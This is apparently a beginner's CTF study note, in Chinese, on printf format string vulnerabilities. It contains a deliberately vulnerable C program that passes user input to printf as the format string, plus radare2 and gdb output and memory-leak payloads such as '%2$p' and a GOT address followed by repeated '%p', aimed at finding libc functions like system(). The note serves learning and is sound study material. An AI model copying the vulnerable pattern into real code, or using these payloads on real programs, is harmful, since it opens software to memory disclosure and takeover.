---pwn String formatting vulnerability 01
一个pwn新手的笔记
1.1前景提要:
就是c/c++里面hello world吧
#include
int main()
{
printf("Hello World!\n");
return 0;
}
其实这些函数都是可以利用的
int printf(const char *format, ...);
int fprintf(FILE *stream, const char *format, ...);
int dprintf(int fd, const char *format, ...);
int sprintf(char *str, const char *format, ...);
int snprintf(char *str, size_t size, const char *format, ...);
大致原理:
根据 cdecl 的调用约定,在进入 printf() 函数之前,将参数从右到左依次压 栈。进入 printf() 之后,函数首先获取第一个参数,一次读取一个字符。如果 字符不是 % ,字符直接复制到输出中。否则,读取下一个非空字符,获取相应的 参数并解析输出。
1.2 各种而样的Hello World
- 组合型
#include
int main()
{
char *format = "%s";
char *arg1 = "Hello World\n";
printf(format,arg1);
return 0;
}
那么这里的printf就有arg1这一个参数
- 过多型
#include
int main()
{
char *format = "%s-%p-%p-%p-%p-%p-%p-%p-%p";
char *arg1 = "Hello World\n";
printf(format,arg1);
return 0;
}
结果:
Hello World
-0x4005ff-(nil)-0x4005d0-0x7fddb8c10ac0-0x4005e4-0x4005ff-0x400560-0x7fddb8850830
输出了多余的信息,说明了这里是存在漏洞的
格式化字符串函数会根据格式字符串从栈上取值
2.字符串格式化的利用
2.1使进程崩溃:
2.1.1 核心转储
在 Linux 中,存取无效的指针会引起进程收到 SIGSEGV 信号,从而使程序非正常终止并产生核心转储
核心转储:核心转储(core dump),在汉语中有时戏称为吐核,是操作系统在进程收到某些信号而终止运行时,将此时进程地址空间的内容以及有关进程状态的其他信息写出的一个磁盘文件。这种信息往往用于调试。
2.1.2 核心转储的原因
核心转储-百度百科
3.2演示示例:
#include
int main()
{
char format[128];
int arg1 = 1, arg2 = 0x88888888, arg3 = -1;
char arg4[10] = "ABCD";
scanf("%s",format);
printf(format,arg1,arg2,arg3,arg4);
return 0;
}
暂且把这个当作一道题吧
2.1.2 r2:
root@MSI:/mnt/c/Users/13013/Desktop/PWN/pwn 字符串格式化漏洞/01-基础# rabin2 -I example
arch x86
baddr 0x400000
binsz 6738
bintype elf
bits 64
canary true
class ELF64
compiler GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.11) 5.4.0 20160609
crypto false
endian little
havecode true
intrp /lib64/ld-linux-x86-64.so.2
laddr 0x0
lang c
linenum true
lsyms true
machine AMD x86-64 architecture
maxopsz 16
minopsz 1
nx true
os linux
pcalign 0
pic false
relocs true
relro partial
rpath NONE
sanitiz false
static false
stripped false
subsys linux
va true
[0x00400500]> pdf @main
; DATA XREF from entry0 @ 0x40051d
┌ 176: int main (int argc, char **argv, char **envp);
│ ; var int64_t var_ach @ rbp-0xac
│ ; var int64_t var_a8h @ rbp-0xa8
│ ; var int64_t var_a4h @ rbp-0xa4
│ ; var char *var_a0h @ rbp-0xa0
│ ; var int64_t var_98h @ rbp-0x98
│ ; var char *format @ rbp-0x90
│ ; var int64_t canary @ rbp-0x8
│ 0x004005f6 55 push rbp
│ 0x004005f7 4889e5 mov rbp, rsp
│ 0x004005fa 4881ecb00000. sub rsp, 0xb0
│ 0x00400601 64488b042528. mov rax, qword fs:[0x28]
│ 0x0040060a 488945f8 mov qword [canary], rax
│ 0x0040060e 31c0 xor eax, eax
│ 0x00400610 c78554ffffff. mov dword [var_ach], 1
│ 0x0040061a c78558ffffff. mov dword [var_a8h], 0x88888888
│ 0x00400624 c7855cffffff. mov dword [var_a4h], 0xffffffff ; -1
│ 0x0040062e 48c78560ffff. mov qword [var_a0h], 0x44434241 ; 'ABCD'
│ 0x00400639 66c78568ffff. mov word [var_98h], 0
│ 0x00400642 488d8570ffff. lea rax, [format]
│ 0x00400649 4889c6 mov rsi, rax
│ 0x0040064c bf34074000 mov edi, 0x400734 ; const char *format
│ 0x00400651 b800000000 mov eax, 0
│ 0x00400656 e885feffff call sym.imp.__isoc99_scanf ; int scanf(const char *format)
│ 0x0040065b 488dbd60ffff. lea rdi, [var_a0h]
│ 0x00400662 8b8d5cffffff mov ecx, dword [var_a4h]
│ 0x00400668 8b9558ffffff mov edx, dword [var_a8h]
│ 0x0040066e 8bb554ffffff mov esi, dword [var_ach]
│ 0x00400674 488d8570ffff. lea rax, [format]
│ 0x0040067b 4989f8 mov r8, rdi
│ 0x0040067e 4889c7 mov rdi, rax ; const char *format
│ 0x00400681 b800000000 mov eax, 0
│ 0x00400686 e835feffff call sym.imp.printf ; int printf(const char *format)
│ 0x0040068b b800000000 mov eax, 0
│ 0x00400690 488b55f8 mov rdx, qword [canary]
│ 0x00400694 644833142528. xor rdx, qword fs:[0x28]
│ ┌─< 0x0040069d 7405 je 0x4006a4
│ │ 0x0040069f e80cfeffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│ │ ; CODE XREF from main @ 0x40069d
│ └─> 0x004006a4 c9 leave
└ 0x004006a5 c3 ret
2.1.3 gdb
Starting program: /mnt/c/Users/13013/Desktop/PWN/pwn 字符串格式化漏洞/01-基础/example
[----------------------------------registers-----------------------------------]
RAX: 0x4005f6 --> 0xb0ec8148e5894855
RBX: 0x0
RCX: 0x0
RDX: 0x7ffffffee5e8 --> 0x7ffffffee845 ("SHELL=/bin/bash")
RSI: 0x7ffffffee5d8 --> 0x7ffffffee7f7 ("/mnt/c/Users/13013/Desktop/PWN/pwn 字符串格式化漏洞/01-基础/example")
RDI: 0x1
RBP: 0x7ffffffee4f0 --> 0x4006b0 --> 0x41ff894156415741
RSP: 0x7ffffffee4f0 --> 0x4006b0 --> 0x41ff894156415741
RIP: 0x4005fa --> 0x64000000b0ec8148
R8 : 0x400720 --> 0x8ec83480000c3f3
R9 : 0x7fffff410ac0 (<_dl_fini>: push rbp)
R10: 0x846
R11: 0x7fffff050740 (<__libc_start_main>: push r14)
R12: 0x400500 --> 0x89485ed18949ed31
R13: 0x7ffffffee5d0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x4005f1 : jmp 0x400570
0x4005f6 : push rbp
0x4005f7 : mov rbp,rsp
=> 0x4005fa : sub rsp,0xb0
0x400601 : mov rax,QWORD PTR fs:0x28
0x40060a : mov QWORD PTR [rbp-0x8],rax
0x40060e : xor eax,eax
0x400610 : mov DWORD PTR [rbp-0xac],0x1
[------------------------------------stack-------------------------------------]
0000| 0x7ffffffee4f0 --> 0x4006b0 --> 0x41ff894156415741
0008| 0x7ffffffee4f8 --> 0x7fffff050830 (<__libc_start_main+240>: mov edi,eax)
0016| 0x7ffffffee500 --> 0x1
0024| 0x7ffffffee508 --> 0x7ffffffee5d8 --> 0x7ffffffee7f7 ("/mnt/c/Users/13013/Desktop/PWN/pwn 字符串格式化漏洞
/01-基础/example")
0032| 0x7ffffffee510 --> 0x1ff625ca0
0040| 0x7ffffffee518 --> 0x4005f6 --> 0xb0ec8148e5894855
0048| 0x7ffffffee520 --> 0x0
0056| 0x7ffffffee528 --> 0x8732ec1a2c49afff
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 2, 0x00000000004005fa in main ()
gdb-peda$ c
Continuing.
%08x.%08x.%08x.%08x.%08x
00000001.88888888.ffffffff.fffee450.ff7d0700[Inferior 1 (process 166) exited normally]
Warning: not running
总之就是类型标志符的问题,但是这里是依次获得参数,
要获得指定参数可以用以下方法:
%$
获取第三个参数就是
%2$p
这个也可以直接输入:
root@MSI:/mnt/c/Users/13013/Desktop/PWN/pwn 字符串格式化漏洞/01-基础# ./example
%2$p
0x88888888
而且可以获取周围栈的情况:
root@MSI:/mnt/c/Users/13013/Desktop/PWN/pwn 字符串格式化漏洞/01-基础# ./example
%5$x
78150700
2.2查看任意地址内存:
也就是做题经常用的AAAA-%p-%p-%p-%p-%p-%p-%p...
经常的用法是: 把一个函数的got地址传入,在获得该地址对应函数的虚拟地址,再根据函数在libc中的相对位置调用libc的其他函数(如system())
大致如下:
输入: "小端地址" + "%p(地址类型)"*(重复次数)
"\x10\xa0\x04\x08"+".%p"*20
注意一点就是,如果遇上了ASCII上面的不可见字符则不能被查看
- 大致就是这些了吧